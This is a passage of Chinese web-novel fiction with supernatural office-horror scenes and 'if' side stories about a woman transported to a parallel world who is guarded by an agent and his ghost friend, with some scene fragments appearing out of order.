周州摇头:[不看了。结果不重要。] 夏乐栎忍不住看了他几眼。 是这样吗?明明一开始很关心的样子。 “夏乐栎?”陈亮先看到了夏乐栎。 他回过头,锐利的目光中闪烁一丝寒光,年轻的脸庞立刻扬起一个和善的笑容,“夏乐栎,你没事真的是太好了,刘杰说你出了事情,可是把我吓坏了。” 刘杰没有靠近夏乐栎,站在不远的地方,皱着眉,上下看着夏乐栎,他的脸上刚刚扬起过惊喜,又突然恐惧的倒退撞上文件柜,“夏乐栎……你身上……” 夏乐栎低下头,看着自己一身的血污,抱歉的说道:“刘哥,刚刚我流鼻血了,你怎么跑的这么快,飞宇呢,你怎么和经理一起上来了?” 和夏乐栎一起加班的人是刘杰和杜飞宇,陈亮是公司高层,平时并不显露多关心他们这些基层的意思,怎么今日出现在这里关心她,还看起来这么和善? 刘杰恍然大悟,警惕的表情便和缓下来,摸着鼻子,面带赧色的说道:“这么回事啊,我和飞宇刚刚可能是眼花了,一看你一脸的血,吓得就跑了,幸亏下楼的时候遇到了经理,说要过来看看,不然我们真的就报警了。” 陈亮垂着的头抬起,镜片反光遮住了瞳孔里暴涨的青色血丝。他皮鞋碾过地砖的声响,与夏乐栎昏迷前听到的周丝游走声完美重合。 “是啊,我就说夏乐栎平时身体好的很,怎么可能会出事,行了,这都十二点多了,你们快点回家吧,有什么工作忙,明天再做就是了。” 陈亮笑着,声带仿佛塞着团湿棉花,每个字都带着胸腔共鸣的杂音,“我正好弄点东西,你们先走吧。” 夏乐栎面对陈亮,脊背汗毛竖起,第六感在发出警报,让她硬生生的稳住脖子,没有直接转头离开。 陈亮他是不是一直在看着她和刘杰的脑后? “经理,你不是开车来的么,这么晚了,打车怕是也不容易,我和刘哥等等你,你一会送我们回去呗。” 刘杰的手指无意识摩挲着门框,指甲缝里还沾着夏乐栎方才喷溅的血痂。这个总是坚持AA制奶茶钱的姑娘,此刻正反常地贴近陈亮办公桌——她垂在身侧的右手微微抽搐,像在克制触碰什么的冲动。 “其实我可以…….”他刚开口就被冷风噎住喉舌,中央空调出风口突然喷出黏腻的腥臭味的风。 未出口的话因为夏乐栎的一个表情凝滞。 夏乐栎的目光紧紧盯着陈亮,却侧头,对刘杰做出口型:别过来。 “经理保养得真好。”夏乐栎突然抬高声线,瞳孔倒映着陈亮诡异翘起的嘴角。 昨天晚上的事就这么过去了,吃早饭的时候,周州突然状似无意地开口,[下次时间那么晚,就别让时驹留下了吧。] 夏乐栎一时没反应过来,“什么留下?” 周州沉默了片刻。 等再开口时,却若无其事地,[不,没什么。] 夏乐栎倒是想起来了,“你是说昨天晚上?” 昨晚发生的事串联成线,夏乐栎恍然,“你吃醋了?!” 周州越发沉默了。 和那双澈然明亮的眼睛对视了一会,他别了别脸错开目光,[……抱歉。] 明明这两个人都不会做出任何越界的事,抱着这些念头的从来都只有他一个而已。对比之下,显得越发狼狈。 “为什么要道歉?这不是挺正常的吗?硬要说的话……我还有点高兴。” 周州一怔。 夏乐栎笑起来:“因为很‘真实’嘛。我喜欢真实。” 钢做的椅子,径直甩到了陈亮的手臂上,那椅子的被拳头戳穿了,一直穿到了陈亮腋窝的位置。 刘杰的目光立刻锁定在了夏乐栎身上,就连夏乐栎也诧异住了。 陈亮的动作很明显,只是想要轻松的将椅子扔到一边去,但是那椅子,却因为惯性,直接穿到了陈亮的胳膊上。 夏乐栎低头看看自己的手。 哇哦! 力大无穷? 夏乐栎再次有了底气,“刘哥,靠后!” 夏乐栎感觉到脸颊一阵杀的疼,她一摸,原来自己不知道什么时候竟然哭了。 回过头,刘杰不知道什么时候已经昏迷了,不知道他听到多少,是否见到了红衣,以及是否听到了陈亮所说的想要害她的“他们”。 夏乐栎呼出一口气,打开系统面板,查看商城。 商城中各式的物品都是灰色的,一片灰色就算了,还是一片的问号。 有和没有,完全没有什么区别。 也许多做几个任务,就能开启商城了吧。 夏乐栎虽然对商城的内容垂涎欲滴,可是现如今她也不敢太和系统提要求,毕竟一人一系统还算是陌生,还没熟悉起来呢,等以后熟悉起来,她非得磨一磨系统。 夏乐栎看向商城的最上面有一个抽奖按钮。 点击那就之后,进入一个界面,界面内更是简洁,还是一个按钮。 “谁做的界面啊,前端挣钱这么容易么,这么垃圾的页面直接用?不然给我外包,我帮你做页面好不!”夏乐栎发出作为程序员无奈的感慨。 一个影响力能够抽奖一次,一千个功德值可以兑换一个影响力。 好嘛! 她看到自己挣了一千个功德值,还以为自己赚了不少呢,结果算起来,就相当于赚了两个影响力啊。 “抽吧,抽吧,世界就是一个巨大的抽卡!” 夏乐栎骂骂咧咧的将功德值兑换成了影响力,然后解锁了两次抽奖机会。 她如今没有一点自保的能力,系统出品,希望能够让她有一点自保的能力。 点击按钮之后,过了许久,才终于跳出来两条信息。 刘杰重重点头。 陈亮嗤笑,甩了甩手,将椅子扔到墙壁上,狠狠的砸入到了墙壁的里面。 臧大爷的嘴唇抖动,“昨天一航有点不舒服,发烧了,我们就给一航请假了,可是早上一航已经好了,又喊着去学校。” 在这一刻,臧大爷不再是一个坚强的老人,而是一个担忧孙子安危的脆弱灵魂。他的眼神中充满了期待和祈求,希望徐警官能够带给他好消息,让他的孙子平安归来。 “我现在就打电话,孩子丢掉的时间不久,一定能够很快找回来。”徐警官快速的说道。 夏乐栎在一边双手环胸,她现在可是扬眉吐气了,可眼下这几个人对她依旧不信任,若是再迟一会,万一孩子遇到什么,就算能够证明她有能力,还有什么用。 “没用的,都已经有七八个小时了,就算你开始找,也不一定能够找到。”夏乐栎看向臧大爷,朝着臧大爷伸出一只手,那只手曾经在键盘上纷飞,就是为了敲击一个个的代码,方便人们的生活,如今手指一样周嫩可爱,却是向一个走投无路的老大爷索取报酬。 “诚惠两千块,孩子马上就能够找到。” “果然不是普通人,那你的生命力,肯定能让我维持更久的时间。” 他活动了几下筋骨,手指交叉在一起,发出咔吧咔吧的声音。 夏乐栎则是看着自己的左上方,倒计时的时间倒数的更加快速了,只要她靠近陈亮,那时间就会变得飞速,如今只剩下二十三分钟了。 她咬了咬牙,她,天选之子,难道还对付不了一个蚂蟥? 小时候她经常拿食盐帮蚂蟥洗澡,可惜现在手上没有食盐,不然她肯定会好好的帮陈亮搓个澡。 夏乐栎从小到大都没打过什么架,不过没吃过猪肉,还是看过猪跑的,电视上的武术套路她可是看了许多了,就算不能打倒陈亮,也不至于直接被打死吧。 “嘭!” 夏乐栎捂着肚子趴在地上,她快速的面向陈亮,捂着肚子站起来。 从一开始,陈亮就一直想要让她背对他,即便是被暴揍,她也绝对不会称了他的意。 难道她就要死在这里了? 如果老天让她死,怎么又让她绑定系统,让她以为自己能够反抗! “我承认,你的确有点本事,如果不是因为上面的命令,我还真的想要好好跟你玩一玩!”陈亮明媚的笑起来,像是一个翩翩佳公子,“我早就说,直接吃了你多好,他们偏偏说不能真的弄死你,非得让我手段柔和一些,真是的,你看,闹得现在这样,多难看啊。” “我想算我的姻缘。”她低下头,粉色的晕从脖子染到了耳后,“我和我男朋友快结婚了,我想要算一算我们俩的未来。” 夏乐栎仔细看着程心雨。 “你是想让我直接点,还是委婉点?” 毕竟这是程心雨的隐私,直播间那么多人在看,要是说得太直周了,也不大好。 程心雨摇了摇头,羞涩和愁绪同时出现在一张脸上,她看向夏乐栎,“你直接一点吧,我可以接受的。” 五行缺德:【美女一定会幸福的,这么漂亮的美女怎么可能会姻缘不好。】 玄学打假人:【演技不错,我打九分,多一份怕你骄傲】 夏乐栎的手指一下一下的点着桌案,发出笃笃的声音。 夏乐栎皱眉。 他们——是谁? “放心,不会疼的,只需要你转过头去,我一定会……”陈亮缓缓的靠近,言语的蛊惑跟他手中的丝线一样,活跃的飞舞。 夏乐栎已经经历过一次陈亮口中的沉睡了,想起那种感受,她的胃部到现在还忍不住翻涌。 夏乐栎忽然跳起来,她挥动拳头,狠狠的朝着陈亮的脸上瞄准,“去死吧!平时让我加班,加班,加班!MD,果然不是个人,妖怪也做资本家!” 张有德连忙陪笑,“我怎么可能会看不起女人啊,女人就是我的衣食父母,除了孩子,就是女人最值钱了,看不起谁,我也不可能看不起女人啊。” 三人有说有笑的,车内的气氛轻松愉悦,像是往常一样,车子很快驶出了A市,绕过了缴费站,终于开上了山路。这里没有警察,没有卡点,只有蜿蜒的山路和寂静的树夏。张有庆加快了车速,心里盘算着,再开半个多小时,就能到达目的地,到时候一切就都稳妥了。 然而,当他们穿过一条幽深的隧道,眼前突然一亮,刺目的阳光让他们下意识地眯起了眼睛。可等他们看清眼前的景象时,三人的笑容瞬间凝固了。 他们竟然重新回到了A市的城市道路上! 陈亮抬起腿,错开夏乐栎的拳头,对着夏乐栎的腹部。 她是在拼死反抗,可看在陈亮的眼中,那不过是自不量力的挠痒罢了! 陈亮冷笑。 他承认夏乐栎的力气很大,即便是他,也不能完全面对面的对上。可惜她只有死力气,没有丝毫的技巧。 如果放任她成长,或许真的能够打败他,可惜,她不会有成长的机会。 这一脚,如果踹在夏乐栎的头上,甚至会让她的脑袋直接爆掉。 可是陈亮并不会这样做,他只会要给夏乐栎一个疼痛的教训,只需要一脚,就可以让夏乐栎像是之前一样,跪在地上痛苦的哀嚎。 夏乐栎目光一凛。 就是现在。 死或者生! 忽然,夏乐栎收起了拳头,拿着脑袋对着陈亮的脚冲过去。 忽然,车厢里面变得很冷。 张有庆的油门已经踩到了最底下,时速也已经到达了一百六十多,可是,车厢内的时间却很慢,慢到他们的每一个动作,都像是电影的慢镜头一样。 特别是张有庆,那样疯狂的念头,只是才刚刚升起,便觉察出来脊背一阵一阵的竖起汗毛。 夏乐栎狠狠闭上眼睛。 她一定会活下来的! “嘭!” 一袭红衣,翩然落下。 他像一柄裹在红绸里的枯骨,褴褛的绸缎在肋间飘荡出空荡荡的涟漪。嶙峋的锁骨撑起褪色的立领,脖颈处褶皱的皮肤下,青紫色血管如同干涸的河床。 当月光穿透他薄如蝉翼的红衣时,能看见他皮肤上细小裂痕在蔓延——那是反复撕开又愈合的陈旧伤痕。 他的手,青葱一样,周色的,细长的,柔弱的,却轻松的捏住了陈亮的腿。 她抬手指了指旁边的相机,“每个人都是带着面具生活,在镜头下的感知尤甚,就算摄影师再怎么引导,也只能袒露一丝丝的真实,而这么一点真实,已经足够拍摄者视若珍宝的捕捉。” “面具外的纯粹美好当然动人,但是看多了却只觉得虚幻。不堪、狼狈、阴暗、恶意,正是因为人性中有这些割舍不掉的东西,艰难挣扎出来的善意才变得动人。承认接纳‘我是个有负面想法的普通人’,以此开始,再决定对这个世界做点什么。” “不需要完美,也从来没有完美。我喜欢所有真实一点点变好的感觉。”她这么说着,倾身凑过去,轻轻吻了吻对面人的眼睛,低声,“所以没关系的。” 你可以尽管展露那并不完美的“真实”…… 算计也好、嫉妒也好、就算狼狈不堪也没关系。人不就是这么“真实”地挣扎在这世界上?然后在破碎间隙中露出珍贵又动人的光亮。 周州怔然许久。 在那轻柔的一吻退离的时候,他追逐着凑过去,索要加深了一个真正的吻。 不择手段地去拿到想要的,而得到之后却惶然于得失,以至于越发执念。 在这上面,他和妈妈一模一样。 只是他更加幸运。 遇到了一个正确的人。【你现在阅读的是 】 【番外合集】 67 · if 01 头好疼,疼得要裂开了。 昨天干什么来着? 好像是陪临林喝酒了。 后者谈了一个月的项目被刚刚黄了,丧着心情回家又遇见男朋友劈腿,快刀斩乱麻分手之后,就拉着夏乐栎酒吧一醉解千愁,满口口嗨着“包个男模”之类的胡话。 比不了那位借酒消愁的姐妹的海量,夏乐栎陪了几杯下去就断片了。 她按着抽疼的脑子回忆着昨天的记忆,结果一睁眼就看见一位男模本模。 轮廓清晰的面庞压在柔软的枕头上,眉峰在睡梦中也微微拢着,眉头的眉毛带着根根分明的野生感,在被子外的手臂上在没有用力的状态都显示出清晰的肌肉痕迹。 夏乐栎:“……” 谢谢姐妹这种事都不忘捎带上她一个,但是这位看起来就是她睡不起的类型。 ——超贵的样子! 正这么想着,睡梦中的青年不知感觉到什么拧了拧眉,于是那本就锋利的相貌显出几分凶戾来。 不仅贵,看起来还不好赖账。 夏乐栎下意识屏住呼吸,直到对方重新睡得平缓了,她才轻手轻脚地下了床。 实在不知道怎么在清醒状态下处理这种状况,夏乐栎趁着对方睡着的时候,把身上所有的现金都掏出来放在床头,然后鬼鬼祟祟出了房门。 落荒而逃.jpg …… 商时驹在调查一个K省异能犯。 对方的危险评级很高又很警觉,不知道哪里的情报来源,对当地异监局的情况十分了解,每次都能从容逃脱,还有反过来给异监局警告的意思。K省这边没办法,只能对外求援。而商时驹因为之前的事,被局里半强制地放了假,本来就在K省散心,这才被临时征调、暗地里调查这件事。 而作为商时驹“被放假的原因”,本该在上一个案子殉职的周州也跟着一起过来。 他本来是担心商时驹的精神状态,没想到碰到了这情况。 鬼魂状态是不需要睡眠,周州趁着晚上出去几个现场都转了一圈,确实有一点收获,但是折返回来却有点茫然。他这个状态,就算真的发现了什么线索,也没办法告诉别人吧? 正无奈间,却见商时驹那间酒店门被打开了。 不,不对!出来的不是时驹。 周州几乎立刻反应过来,往侧边避开了一步,将自己挡在了墙壁的死角。隔了会儿才回神,自己实在没有这么做的必要。 这片刻的功夫,出来的那个女人已经进了电梯。 后面的房间门关上,里面没有一丝动静。 周州心骤然悬起,仓忙冲进了房间里。 好在没有出现他担心的那个结局。 房间里的人还在安然睡着,一旁床铺的凹陷昭示着几分钟前这里还睡着另一个人,而床头上还放着花花绿绿的“纸钞”。 周州:[……] 这场景实在过于有即视感,即便知道商时驹是什么样的人,周州还是有一瞬间的怀疑,好友是不是在他调查案子的时候,搞了什么丰富的夜生活……而且还是被付费的那个。 不过那点错觉也只有一瞬间,里面的疑点实在太多。 以商时驹的警惕心,不至于被陌生人睡在旁边还没有反应。而且床头上的“纸钞”,应该不属于他认知中的任何一种外币。 …… 周州是在酒店外的马路边找到那个女人的。 她大概本来打算打车的,但是这会儿正拿着手机操作着什么,表情看起来有点困惑。 当然困惑了! 夏乐栎发现自己手机上所有软件都被更新了一遍。社交媒体先不用说,连地图都变了这就有点离谱了吧?!这个莫名其妙的K省是怎么回事? 结合今天早上的遭遇,她怀疑自己遇到了什么真人整蛊游戏。 夏乐栎已经准备给临林打电话了。 如果真是整蛊、她可要生气了啊! 想着这些,她抬起头来,却无意间瞥见身侧的一幕。 她瞳孔一缩,急匆匆地往前踏了一步,一把抓住一个正往马路上迈的青年,“小心!” 车子轮胎擦着她的脚边而过,摇下的车窗传来司机的喝骂声,“不长眼啊!” 但是夏乐栎完全没有回应。 她愣愣地看着自己抓着的那只手腕、半透明的。再抬起头来、四目相对,没看错的话,对方还有一半身子穿过了路边栏杆…… 这个世界和她,一定有哪个疯了。 * 半个小时后,夏乐栎手里拎着豆浆油条(感谢改版的app还能手机付款),站在一个没人的马路边,和这位路上捕捉到的野鬼先生有了初步的交流。 简而言之,她穿越了。 这是一个有超能力的神奇异世界。 她的突然穿越可能和某个异能力者有关,对方能力成谜、危险度很高,是个正在被拘捕的逃犯。 夏乐栎做出总结,“所以,如果我想要回去的话,得找到这个异能力者。” 这是什么勇者降临异世界的轻小说,她超龄了吧? 不,果然是探秘类的游戏吧,一开场就遇见线索npc。 想着,夏乐栎自然而然地开口询问,“我要怎么找到他?” 周州:[……] 一般来说,正常人听到“逃犯”会是这种反应吗? 他叹口气,[这个人很危险。] 夏乐栎点头。 哦,还有冒险元素。 …… 夏乐栎那点不现实的游戏心态终结在二十分钟以后,她准备过马路的时候。 早晨的路上多数时候都拥挤,但这大概是一条偏离了主干的道路,上面并没有什么车。就在她准备穿过马路的一瞬间,她眼睁睁地看着一辆货车像是凭空出现一般、从路中央飞驰而来。 失重感从四肢百骸传来,她好像被撞飞出去了。 血色在眼前蔓延,分不清是疼痛还是麻木,整个世界都在眼前颠倒了。 夏乐栎揪着衣领大口大口地喘.息着,好半天才回过神来。 什么都没有发生,她还站在原地,保持着准备过马路的姿势没有变。 路上依旧安静又空旷,根本没有什么货车。 对面的绿灯已经由绿转红,夏乐栎怔怔地看着那抹刺目的颜色,完全想不明白刚才发生了什么,只觉得冰凉的冷汗在脊背上密密地冒出一层。 周州当然发现了这明显的异常,转头询问:[怎么了?] 夏乐栎却没什么回答的力气。 她虚弱地摆摆手,想要往后挪挪、离这个危险的地方远一点。 可虚软的双.腿没法提供支撑,夏乐栎刚刚退了一步,就差点踉跄地栽倒在地。 周州伸手扶了一把,但碰触的那一瞬间,一个画面在脑海里面浮现。 ——她正浑身是血的躺在地上,他把人抱了起来。 周州愣住了。 比起那突然出现的画面,更强烈的是情绪的冲击,仿佛溺水之人抓住了最后一根浮木,这才艰难地漂浮上来,有了片刻喘息。 情绪过于强烈,周州下意识地松了手。 幸而夏乐栎这会儿也没空关心对面这“拉人拉一半”的不道德行为,她就地蹲下.身来,蜷缩地抱紧着自己。 这么静静地缓了好一会儿,夏乐栎勉强确认自己既没有缺胳膊少腿,肋骨也没有凹陷下去。 她这才缓缓地呼了口气,正准备起身,发现眼前悬着一根手链。 挺眼熟的。 夏乐栎低头看了眼自己的手腕,果然发现上面空空如也。 “谢谢。” 她这么说着,也抬手去接。 对面却手指一勾,把那条手链给收了起来。 夏乐栎一懵。 视线顺着小臂往上,是穿着衣服也遮不住结实线条。 夏乐栎心底的隐隐有了不好的预感,再往上看,果然看见了一张熟悉兼不好惹的帅脸。 一阵激烈的头脑风暴之后,她磕磕巴巴:“是、是……”钱不够吗? 后半句话差点脱口而出,她突然想起来问题所在。虽然不知道为什么,那个变异了的手机能够支付,但是两个世界的纸币明显不一样的。 换而言之,她给的是假钞。 再看对面明显面色不善的表情,夏乐栎一个激灵:“我可以给你转账!!” 商时驹:“……” 68 · if 02 “我可以给你转账!” 商时驹眉心跳了跳,忍不住回忆起了早晨的情况。 发现旁边被人睡过,他当然第一时间检查酒店套房,门窗都紧闭着,没有被强行入侵的情况。在把屋里多出来的东西都存证之后,他去酒店调了监控。 就这么一路追着找到了人。 却没想到听到的第一句话是这个。 想到桌上那疑似现金的东西,商时驹脸色发青。 觉得情况不太妙,夏乐栎才往后退了两步,就被拎着后脖领子提起来了。 手指触碰到后颈的肌肤,两个人同时一僵。 商时驹几乎是立刻收回了手,夏乐栎也涨红了脸往后退了好几步。 某个画面在眼前短暂的闪现,结实肌肉上覆着一层薄薄的汗珠,随着身体的起伏往下流淌。 夏乐栎捂了一下鼻子,觉得对方来“讨债”还是挺有道理的。 真的很贵的样子! 商时驹感觉却没那么好了。他可没有喝断片儿,从昨晚到现在,他的记忆完全连贯。这种事更不可能在睡梦中做出来。 商时驹拧着眉打量对面:异能?催眠类的? 夏乐栎也觉出眼前这个人不像是男公关了。 对面难不成因为被睡了而恼羞成怒想要杀人灭口?! ——救命!! 夏乐栎视线下意识转向周州,在警戒状态的商时驹几乎立刻反应过来,“谁?!” 还有一个人! 他顺着夏乐栎视线的方向一个肘击,手臂被挡拆了一下,动作有点熟悉。 商时驹刚这么想着,就见那边模糊的身影渐渐清晰,出现在一个绝对不该出现在这里的脸。 商时驹沉默了三秒。 他转过来看向夏乐栎,脸上带上了切切实实的冷意,“你最好把你的能力收回去,我可没什么‘不打女人’原则。” 森凉的寒意笼罩了全身,夏乐栎整个人都僵住了。 商时驹往前伸手,还没来得及做点什么,就见对面两眼一翻,就这么晕过去了。 还以为对方耍什么花招的商时驹:“……” ……好菜。 周州本来打算拦人的,结果往前走了一步,只来得及接住倒下去的夏乐栎。 他无声地叹了口气,看向商时驹,[确实是因为“异能”,但不是她的异能……如果我猜的没错,她也是受害人。] 商时驹看了看那边确实昏迷过去的夏乐栎,再看了眼明显是“有意识”的周州。 脸上仍旧维持着疑虑的表情。 [真的是我。] 周州笑了一下,[要说点什么确认吗?] 商时驹沉默了片刻,“你说。” …… ………… 十多分钟后,酒店的房间里。 夏乐栎被放在早晨醒来的那张床上,旁边的人一坐一站。 周州占据了屋里唯一一张椅子,开口,[局里传给你的资料我都看了,昨晚你睡着之后,我又去了几个现场看了一遍。嫌疑人的异能很奇怪,如果说是随机致人死亡的话,死法也太多样了,而且有些明显可以伪装成意外事故,他偏偏选择了明显不可能是现场的地点,是故意挑衅,还是他也没办法选择?我觉得你们的思路或许错了,对方的异能可能并不是“死亡”,而是“可能性”。] 他说着,抬手在空中虚虚画了一条线,指尖点在一个节点上,[平行世界的概念。人每天都在做无数的选择,小到今天早晨要不要吃饭,大到职业抉择。不同的选择延伸了不同的结果,也构成了不同的平行世界。有没有一种可能,他的能力是这个——从平行世界挑选可能性覆盖现实——他只是刚好挑选了“死亡”这一个可能性而已。] 商时驹若有所思。 少顷,他将目光投到夏乐栎身上。 他想着周州之前的解释,“你说她不是这个世界的人?” [按照她自己的说法,是这样,我倾向于她说的是实话。也正是因为时空上的互相排斥,她和嫌疑人的异能冲突了。嫌疑人的异能必定有限制,按照对方的行为模式,我猜限制条件之一是“每次只能选择一个对象”。] [好消息,短时间内不会有第二个受害者了。不过,咱们得想办法保护好目标。] …… 夏乐栎醒来就被告知了情况。 出乎周州预料的,明明生命可能受到威胁,对方却并不怎么配合。 周州很快就意识到了问题,刚到一个陌生的地方,就遇到攻击,对面处在心理防御状态很正常。他还没来得及取得信任,人就先被商时驹威胁了,她对两人的戒备心恐怕很强。 想通这一点后,周州立刻把原本准备的方案给废弃了。 他往前走了一步,不着痕迹地拉开和商时驹的距离,把表情放得柔和,[抱歉,我只是说一种可能性,你刚才应该也“看”到了吧?为了安全……] “但是我没事。”夏乐栎开口打断,“我现在还好。不放心的话,可以把联系方式给我,如果遇到问题,我会打给你们的。” 周州:[……] 完全没被信任。 虽然也有别的办法,但是强行要求下去恐怕情况更糟,周州暂时做了退步,[可以。] 对面明显松了口气。 交换了联系方式后,目送了夏乐栎往门外走,周州也察觉了另一个问题。 刚才太仓促没有多想,直接把人带回了酒店套房。这种界限模糊的场合,一睁眼就看见两个异性,对方的反应已经算是镇定。 周州无奈地叹了口气,语气遗憾地(coGG),[要是来的是千何,情况就好多了。] 商时驹冷淡地扯了下嘴角:“你看看她愿不愿意和你单独配合。” 周州:[……] 有点过分了啊。 不管怎么样,这么下去绝对不行。 得先取得对方的信任。 周州低喃:[信任啊……] 起码得现有了解吧?现在还什么都不知道。 他确实“看”到了一个画面,但里面的信息太少了,并不足以推断什么。 勉强把那随着画面浮现的情绪压下,周州尝试着用更旁观的视角复盘了那一幕,心底有了点推测:如果异能犯只能用“平行世界的可能性”来覆盖的话,那么一定有一个平行世界、让夏乐栎来到了这个世界,联系到对方过马路时的反应:车祸?然后掉到他家里了。 周州把自己推测说了,又顺口问了一句,[时驹你有“看”到什么吗?平行世界的场景。] 商时驹突然沉默了。 周州没有多想,只当对面没有看见。 但就在他准备接着思考怎么办的时候,听见商时驹开口,“我家。我的房间。” 然后就不吭声了。 周州愣了一下,不明所以。 他看了眼商时驹的表情,再想想两人那会儿奇怪的反应,隐约间明白了什么,他却错愕地睁大的眼睛。 ……该不会是他想的那个吧?! * 从那个酒店房间出来,夏乐栎短暂地松了口气。 但很快就对接下来干什么感到了迷茫,不过这还不是最糟糕的事。 绿灯亮起,身旁的行人陆续过了马路,她僵硬地站在原地,肢体仿佛突然失去了知觉,只愣愣地看着那边的灯又转为红色。 动不了。 没办法走过去。 站了两个信号灯的来回后,夏乐栎清楚地意识的这个问题。 身旁不知道什么时候站了一个人。 夏乐栎抬头看过去,表情顿时一僵,对面的态度却很平静,“要过去吗?” 夏乐栎沉默了片刻,缓缓点了下头。 注视着对面闪烁的读秒,转到绿灯的那个瞬间,她僵硬地往前迈了一步,旁边的人同步有了动作,用身体遮挡了大半个车流。 视野受阻,心情反而放松了很多。 夏乐栎以龟速缓缓在路面上挪动,终于险险踩着绿灯的界限过了马路。 那点强撑的力气顿时散了个干净,她半躬下.身扶住膝盖,大口大口地喘着气。 商时驹就在旁边站着,一直等到她把气喘匀了,才接着问:“还走吗?” 夏乐栎:“……” “走。” 虽然看起来挺不好惹的,但是意外的是个挺体贴的人。 在被陪着走了三个红绿灯路口之后,夏乐栎终于克服了这个突如其来的障碍。 情绪缓缓平复下来,连对着商时驹也不像是开始的警惕。 不如说,她从一开始,就好像对对方有点莫名的信任感。 因为“睡过”的关系吗? 清醒点!身体关系一点都不可靠。 脑子里胡思乱想着这些,在被询问的“接下来打算”时候,夏乐栎犹豫了一下,还是实话实说,“先找个住的地方吧,总得有地方落脚。” 然后被带着去找了租房中介。 再三解释并不是情侣合租后,在中介“我懂我懂”的眼神中快速看了几套房,敲定了一个月的短租房。 商时驹陪人看完了房子,签了合同。 一直把人送到了新家门口,却没有进去的意思。 看了眼夏乐栎那明显纠结的表情,商时驹突然开口,“不是真的。” “什么?” “你刚才也听周州说了吧?平行世界。他的异能没办法彻底覆盖你,所以你看到的都不是真的。车祸也是、……也是。” 商时驹说完就走了。 夏乐栎反应了好一会儿,才琢磨过来对方说的是什么。 骤然闪现的画面又一次在脑海中浮现出,夏乐栎僵站了片刻,抬手捂住了自己发烫的脸。 松了口气的同时,又有点遗憾是怎么回事。 冷静点! 这位一看就是不能随便睡的……奇怪,她为什么会这么想。 * 另一边,商时驹出去之后直奔刚才的中介。 “她对面的房子也在出租?” 刚刚结束一单中介:? 中介很快就反应过来,露出了职业化的微笑,连连点头,“对、对,租的。” 现在的小情侣真会玩! …… 再晚点的时候,周州也得到了商时驹的行动结果。 认识的一天之内就进展到“邻居”,周州觉得自己对商时驹的担心十分多余。 心底泛起一点微妙的不适感,周州轻轻呼了口气,勉强压下。 时驹的话,不可能随便带人回家。要是真的进展到那种程度,态度相当认真了。 ……异世界的“女朋友”吗? 那三个字在心底重复,脑海里不知怎么的,浮现的却是他将人抱起的那一幕。 69 · if 03 第二天早上一开门,夏乐栎就看见了对面的商时驹。 对面表情态度都很自然,完全没有干了什么坏事的自觉。他看到夏乐栎之后,又自然而然地在门口站定,做出了等人的姿态,半点不掩饰自己是专门蹲守着的。 夏乐栎:“……” 要是换个人来,她早都报警了。但是商时驹这理直气壮的态度,夏乐栎忍不住生出点“自己才是嫌疑人”的错觉。 ——这不对劲! 夏乐栎仰着头强行对视回去,试图让自己的眼神显得更谴责点。 商时驹愣了下。 对上那双明亮的眼睛,心底像是被羽毛轻轻搔了一下,他忍不住勾了下唇角。 夏乐栎觉得自己好像看见对方笑了,但是又没看得分明。 因为旁边突然插.进来一句话。 是周州恰巧从里面走了出来,[吃早饭吗?时驹请。] 夏乐栎被短暂地带走了注意力,再回神看的时候,商时驹已经恢复了那面无表情的酷哥样。 夏乐栎:有点遗憾是怎么回事…… 她心不在焉地应了一声。 商时驹拧了拧眉,转头看了眼周州。 后者脸上的笑容不变,对他轻轻眨了下眼。 商时驹:“……” 错觉吗? …… 这个临时租住的公寓地段不错,楼下不远处就是快餐店。 夏乐栎本来以为三个人一起走,气氛会很尴尬,但是意外的还挺和谐。 商时驹不怎么开口,但是周州很会给话题,又因为旁边确实有人,她回答的时候不会被当成自言自语的疯子。 夏乐栎为后一个想法奇怪了一下。 明明昨天和周州聊天的时候,旁边也没什么人,那感受鲜明的尴尬情绪好像是真的经历过似的。 不管怎么样,一行人还是到了快餐店。 鬼魂当然是不用吃饭的,他们要的是双人套餐。 再次被误认为情侣的夏乐栎露出了尴尬而不失礼貌的微笑。 但意外的,商时驹没否认。 夏乐栎:? 不应当啊。 她忍不住用目光打量过去,才看了两眼就被抓包。 被盯过来的一瞬间,她立刻低头恰饭,假装无事发生。 周州看着这两人的互动,虚握的手指微微向内蜷了蜷。 商时驹像是有什么察觉的一样,将目光落过来。 [我感觉有点不好。] 周州表情不变,自然而然地将话题转开,[你小心点。] 不提商时驹什么反应,夏乐栎却是觉得,手里的汉堡瞬间不香了。 精神病、疯子、杀人犯…… 夏乐栎觉得或许是昨天的科普太详细了,她眼前都仿佛有命案现场的画面感了。 刚想开口说点什么,玻璃的爆裂声在耳边响起。 与此同时,她被拉入了一个坚实的怀抱。 眼前突然闪现一个画面,好像是在一个坍塌的废墟上,周围都是高温灼烧的痕迹。 商时驹也看见了,他比夏乐栎更清楚那代表了什么。呼吸骤然滞住,他下意识地收紧了手臂。 夏乐栎被这一勒差点断气,挣扎着往外扑腾,但是压在肋骨上的手臂纹丝不动。 ——救、救命! 好在第二次爆裂声紧跟着响起,商时驹终于回神。 灼烧的火焰融掉了飞溅来的碎屑,但是本该燃起火光的部分却诡异的熄灭了。似乎是看到了这边的情况不如预期,不远处观望的一个人影立刻转身,转眼间便汇入了惊慌逃窜的人流之中。 商时驹下意识想要追,起身之际却顿了一下。 像是顷刻间做出了决定,他把夏乐栎往周州怀里一塞,“看好她!” 夏乐栎还没回过神来,正抱着她的怀抱就换了个人。 没有被勒得断气当然是好事,但是比那更恐怖的是,她又看见画面了——她在和人接吻。 这种时候看见这种画面正常吗?! 夏乐栎这崩溃还没多久,就发现更不对劲的地方。 接吻会紧张很正常,那是那“神经紧绷到过头、仿佛发出一点声音就会嘎了”的情绪绝对有问题吧!“她”到底在干什么啊? 画面里的视野太黑了,根本看不清对面的人脸。 但是根据前几次的经验,夏乐栎飞快地锁定了对象。 她僵硬地抬起头来,正对上周州有点恍惚的表情。 夏乐栎:“……” 她艰难地扯出一个笑来,“那不是真的!” 周州像是才回神,模糊地应了一声。 夏乐栎强调:“平行世界。” 视线对上,对面轻轻弯了下眼,笑意潋滟,[我知道。] 说着,却调整了一下姿.势,原本只是虚扶在腰侧的手臂往前,轻轻地将人环住,缱绻着温声:[时驹刚才弄疼你了吧?] 夏乐栎:“……” 我觉得你根本不知道!! …… 商时驹追的慢了一步,还是被人跑了。 他回来的时候,周州已经让夏乐栎联系当地的异监局人员来处理现场了。 商时驹本来想问夏乐栎有没有事,却发现对方全程回避了他的视线。 商时驹:? * 夏乐栎最后选择了接受K省异监局的庇护。 